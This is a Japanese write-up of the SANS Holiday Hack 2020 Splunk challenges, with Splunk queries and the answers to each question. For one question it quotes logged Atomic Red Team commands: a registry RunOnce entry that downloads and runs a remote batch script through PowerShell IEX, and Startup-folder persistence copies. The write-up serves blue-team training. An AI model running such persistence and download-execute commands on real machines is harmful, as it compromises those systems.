Holiday Hack2020, splunk writeup

Holiday Hack2020のsplunk問全て解いたので、そのwriteup

<h1>Holiday Hackとは</h1>

SANSが毎年開催しているCTF、登録すれば無料でできる。
ゲーム形式でWEBブラウザを使って、自分のアバターを動かして問題を解ける。

ゲーム内にヒントが多く、専用のDiscordもあるのでどうしてもわからなければ
誰かしらヒントをくれる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/5ad13006-e555-da0a-5411-2e7027be1ec9.png)

https://holidayhackchallenge.com/2020/

Splunk問題

MITRE ATT&CKの攻撃をベースに。Atomic Red Team
というRed Teamの手法を公開しているサイトのテストを
EDR等で検知できるかをシュミレーション。

それぞれの攻撃テクニックは indexのフィールドで分類されている
例 Txxxx (xxxxは数字)


https://github.com/splunk/attack_range

※ちなみにSplunk問題をやるにはObjective(課題のようなもの)1～5をまずクリアしないといけない

まずは、AppのKringle Castle SOCからの問題の確認。ちなみにこのAliceというキャラクターがいろいろヒントをくれる(ヒントがほぼ答えだったりする)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/5c802813-233b-77c2-32d8-1677d440ef3c.png)

<h1>Training Questions<br>
1. 	How many distinct MITRE ATT&CK techniques did Alice emulate?</h1>

Aliceのヒントによると

```
| tstats count where index=* by index
```
のコマンドを打つと良いとのこと

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/3d146636-812f-27b5-8a32-a9c34f145dc2.png)

26件あるが、関係ないindexや重複しているものがあるので、tで始まるテクニックの数を手動で
数えればよい。

それだと芸がないので、splunkのクエリを書いてみた。

```
| tstats count where index=* by index
| search index=t*
| rex field=index "(?<attack_num>t\d+)[\.|\-]"
| dedup attack_num
```

<blockquote>
・index名をtで始まるもので検索<br>
・正規表現を使って、tで始まるテクニック名だけを取り出し<br>
・重複削除
</blockquote>

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/ebd5ca21-d794-2385-4576-fc9c077fc697.png)

**Answer：13**

Alice模範回答(正解後に教えてくれる):

```
| tstats count where index=* by index 
| search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*" 
| stats dc(technique)
```

<h1>2. 	What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)</h1>

1059.003のindex名を取り出すだけ。手入力でも行けるけど、せっかくなのでsplunkクエリで

```
index=t1059.003*
| stats values(index) as index_
| eval answer=mvjoin(index_, " ")
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/b770d817-27df-4242-4776-92e781f0398c.png)

**Answer：t1059.003-main t1059.003-win**

<h1>3. 	One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of the registry key that is queried to determine the MachineGuid?</h1>

これはパット見よくわからなかったのでとりあえずググって見る。

System Information Discovery は MITRE ATT&CKの T1082 であるとのこと。
またMachine Guidを取得するレジストリは`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid`とのこと。

もうこれ答えなんじゃないかと思ったが、そのままだと不正解。ざっとログを見てみる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/f57400c8-fea8-7521-876c-29e243f7bdac.png)

sysmonログでレジストリ追加しているコマンドがあった、コマンドを抜き出し。

```
index=t1082* MachineGuid
| table CommandLine index
| where isnotnull(CommandLine)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/3fa7b280-2e22-b8bc-259f-57d8b4f1fa10.png)

`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography`に対し、MachineGuidというレジストリを追加している。

**Answer：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography**

<h1>4. 	According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.) 	</h1>

まずOSTAPが何かわからなかった。
ググって見るとどうやらMalware Familyらしい。

Ostap is a commodity JScript downloader first seen in campaigns in 2016. 
It has been observed being delivered in ACE archives and VBA macro-enabled 
Microsoft Office documents. Recent versions of Ostap query WMI to check
 for a blacklist of running processes:

https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap

どのログを見ればいいか迷ったが、Aliceによると`index=attack`のログを
見ればいいとのこと。

どのログを見るかがわかれば、あとは探すだけ

`index=attack`のログを見ると`Technique` `Test Name` `Execution Time _UTC`というフィールドがあるよう。`Test Name`に`OSTAP`を含むものを探して、一番早い時間を取り出す。

```
index=attack
| table Technique "Test Name" "Execution Time _UTC"
| search "Test Name"="*OSTAP*"
| sort "Execution Time _UTC"
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/a701fa08-ab9e-5235-8dcd-e29c2ca31382.png)

**Answer：2020-11-30T17:44:15Z**

<h1>5. 	One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?</h1>

こっからAliceノーヒント

この問題は凄い悩んだ。(3時間くらい)
最終的にDiscordでヒント聞いて、自己解決した。
ネットからどれだけ情報を取ってこれるかの問題。

frgnca というユーザがGitHubにOpen Sourece Packageを公開している。今回のテストでその
componentが使われているようで、そのプロセスのProcessIdを答える問題。

ググルとこのページ
https://github.com/frgnca

・このfrgncaが公開しているものは少なく、Windows関連は一つ。
・sysmonログと言っているのでWindows系のものである。

<h3>AudioDeviceCmdlets</h3>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/74a060e2-44f7-1ec2-5e2d-94f9ce9e57df.png)

どうやらAudioデバイス系のPowershellコマンドレットのよう。この様なコマンドがないかsplunkの
ログを調べまくったが、全然出てこなかった。AudioDeviceCmdlets.dllとか、Import-Module AutioDeviceCmdletsとかでずっと検索していた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/3eb5bb86-c690-eef8-b81e-2c866f4eca79.png)

こんな感じに検索して、Base64エンコードされているものもあり、Base64エンコードされたコマンドは全部違うことは確認した。

ここのコマンドレットがそのまログに出てくるものだとずっと思い込んでいったため、なかなか検索に
引っかかっていなかった。実際は少し内容が違っていた。

Discordのやり取りで、"Windows系のパッケージを見るといい" → それは分かってる。"コマンドレットなので、で、ログの中にそのコマンドが入ってくる" → それもだいたい分かっている。

結局、Powershellのコマンドレットなので sysmonのEventCode 1のうち、Powershellのログに絞って
虱潰しにAudio系のなんかないか調べたらあっさり見つかった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/acb79e5c-aebc-8c15-581a-748b76758f42.png)

2件でるが、PID 1664のParentPIDが3648のため、first useは3648 (時間的にも)

**Answer：3648**

<h1>6. 	Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?</h1>

この問題も相当悩んだ(4時間くらい)
最終的にDiscordの過去ログを見まくって、ネットで調べまくって答えが見つかった。

まず問題の意図している所がよくわからなかった。multi line batch fileと言っているので
とりあえず .bat ファイルの実行ログを調べた。

```
index=* *.bat
| stats count by CommandLine
```

以下コマンドが"abusing Windows registry run keys"と"multi-line batch file"に合致すると
思ったが、どうやら違うよう。最後のコマンドラインやStart-Processとか入れてもだめだった。

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &amp; {Copy-Item C:\AtomicRedTeam\atomics\T1547.001\src\batstartup.bat \""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat\""
Copy-Item C:\AtomicRedTeam\atomics\T1547.001\src\batstartup.bat \""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat\""
Start-Process \""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat\""
Start-Process \""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat\""}
```

splunkのログで他にもそれっぽいログのコマンドを片っ端から入れていったがダメだった。

Discordの過去ログを読み漁ると

<blockquote>
・正解のコマンドは4~6文字程度<br>
・Atomic red teamのgitページをよく見る必要がある<br>
・Splunk上に答えはなさそう
</blockquote>

Splunk上にログはないが、Atomic red teamのgitページを見るということは
なにかgit上からファイルを読み込んでいるログがあるのかなと閃いた。

```
index=* *.bat* *raw.githubusercontent.com*
```

このクエリであっさり見つかった。

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &amp; {$RunOnceKey = \""HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce\"" set-itemproperty $RunOnceKey \""NextRun\"" 'powershell.exe \""IEX (New-Object Net.WebClient).DownloadString(`\""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`\"")\""'}
```

レジストリで`RunOnceKey`を指定しているため、"abusing Windows registry run keys"に合致する。
"also used by a few other techniques" ここが何を示しているかが、理解できていなかった。

また最初のクエリで *.batだと このコマンドは拾えていなかった様。
無難に括っておけば良かった。

`Discovery.bat`はNetwork進入後に使用される探索用コマンドセット。

一番最後のコマンドが正解

**Answer：quser**

<h1>7. 	According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?</h1>

この問題はAliceがヒントくれた。以下クエリで探すと良いらしい

```
index=* sourcetype=bro*
```

`Zeek`はフリーでオープンソースのソフトウェアネットワーク分析フレームワーク。
以下のクエリでSourecetype を`x509`にし、subjectにwin-dcを含むものに指定。`x509`は証明書の規格。


```
index=* sourcetype=bro* sourcetype="bro:x509:json" certificate.subject="CN\=win-dc-*"
| stats count by certificate.serial certificate.subject
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/78bc508e-303d-1554-6e9e-69ad3111a5cd.png)

Aliceヒントがあると早い。証明書のログとかはあまり見たことなかったので勉強になった。

**Answer：55FCEEBB21270D9249E86F4B9DC7AA60**

<h1>Challenge Question<br>
What is the name of the adversary group that Santa feared would attack KringleCon?</h1>

```
This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:

7FXjP1lyfKbyDK/MChyf36h7

It's encrypted with an old algorithm that uses a key. 
We don't care about RFC 7465 up here! I leave it to the elves to determine which one! 
```

最後は暗号問題。Aliceがほぼ答えを言っている。
ここでは`"RFC 7465"`について気にしなくていいと言っているが、`"RFC 7465"`は`RC4`の使用を
禁止しているもの。つまり暗号形式が`RC4`

あとはパスフレーズだが、それはSantaの`favorite phrase`、ゲーム内で探す。
ここで少し厄介だったのが、ゲーム内のフレーズは`"Stay frosty."`だが
このままだと復号できなかった。使うパスフレーズは`"Stay Frosty"`
大文字小文字が違うと上手く複合できない。

復号は`CyberChef`でサクッと
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1016283/36a27b41-67e6-1b69-f59b-167d6f3e60ec.png)

RC4の復号は初めてやった。

**Answer：The Lollipop Guild**

全体的に、そこまで高度なスキルが求められる問題はなかった。